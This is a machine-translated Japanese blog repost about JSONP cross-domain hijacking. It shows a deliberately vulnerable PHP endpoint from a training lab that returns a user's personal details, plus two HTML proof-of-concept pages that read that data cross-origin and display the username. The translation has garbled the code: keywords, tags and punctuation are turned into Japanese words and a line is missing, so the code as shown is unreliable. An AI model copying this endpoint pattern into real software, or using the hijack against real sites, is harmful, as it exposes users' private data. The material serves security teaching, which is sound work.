JSONPクロスドメインハイジャックの脆弱性

クロスドメインJSONP:

  スクリプトタグはブラウザ、クロスドメイン参照リソースに影響を与える同一生成元ポリシーではないので、

  あなたは、動的にクロスドメインリクエストに<SCRIPT>タグを設定することができます。要求されたデータのバック

  私たちは、指定されたコールバック関数パスバックを渡します

 

JSONPの脆弱性:

  ドローンコード

<?PHPは
 含ま「../class/function.class.phpを」$ reqMethod = "GET" $ reqValue = "コールバック" $ P = 新しいのFunc($ reqMethod$ reqValue )。
$情報 = 配列( 'ユーザ名' => 'Vulkey_Chen'、 'mobilephone' => '13188888888'、 'メール' => '[email protected]'、 'アドレス' => '中华人民共和国'、 'セックス' => 'マンクール' );
もし(@!$ _GET [ 'コールバック' ]){
     エコー $ P - > con_function( 'json_encode'、$情報)。
} {
    $コールバック = はhtmlspecialchars$ _GET [ 'コールバック' ])。
    エコー "{ $コールバック }("。$ P - > con_function( 'json_encode'、$情報)。 ")" ; 
}
?>

  コードビハインド出力JSON形式情報ならば、コールバックパラメータが存在するか否かを判断します

  ある場合は、トランスコーディングエンティティ、出力JSONフォーマットを行います。

 

  コードを使用します。

  

1  <!DOCTYPE HTML > 
2  < HTML のlang = "EN" > 
3  < ヘッド> 
4      < メタのcharset = "UTF-8" > 
5      < タイトル> JSONP </ タイトル> 
6  
7  </ ヘッド> 
8  < ボディ> 
9  < スクリプトタイプ= "テキスト/ javascriptの" > 
10      、機能テスト(データ){
 11          アラート(data.username)。
 13      VaRの本体= document.getElementsByTagName(' ボディ' )[ 0 ];
14      VaRのスクリプト= のdocument.createElement(' スクリプト' )。
15      script.src =  ' http://192.168.160.1/DoraBox-master/csrf/jsonp.php?callback=test ' 16      body.appendChild(スクリプト)。
17  
18  </ スクリプト> 
19  </ ボディ> 
20  </ HTML >

  動的に<script>の要求を生成します

  .GetJSON要求にjQueryの$()を使用して

  

<!DOCTYPE HTML > 
< HTML LANG = "EN" > 
< > 
    < メタ文字コード= "UTF-8" > 
    < タイトル> JSONPJQUERY </ タイトル> 
    < スクリプトSRC = "http://cdn.static.runoob.com/libs /jquery/1.8.3/jquery.js " > </ スクリプト> 
</ ヘッド> 
< 身体> 
< スクリプト> 
    $ .getJSON(" http://192.168.160.1/DoraBox-master/csrf/jsonp。PHP?コールバック=?機能(データ){ 
        アラート(data.username)
    })
</ スクリプト> 
</ ボディ> 
</ HTML >

  

おすすめ

転載: www.cnblogs.com/s-qig57/p/12462833.html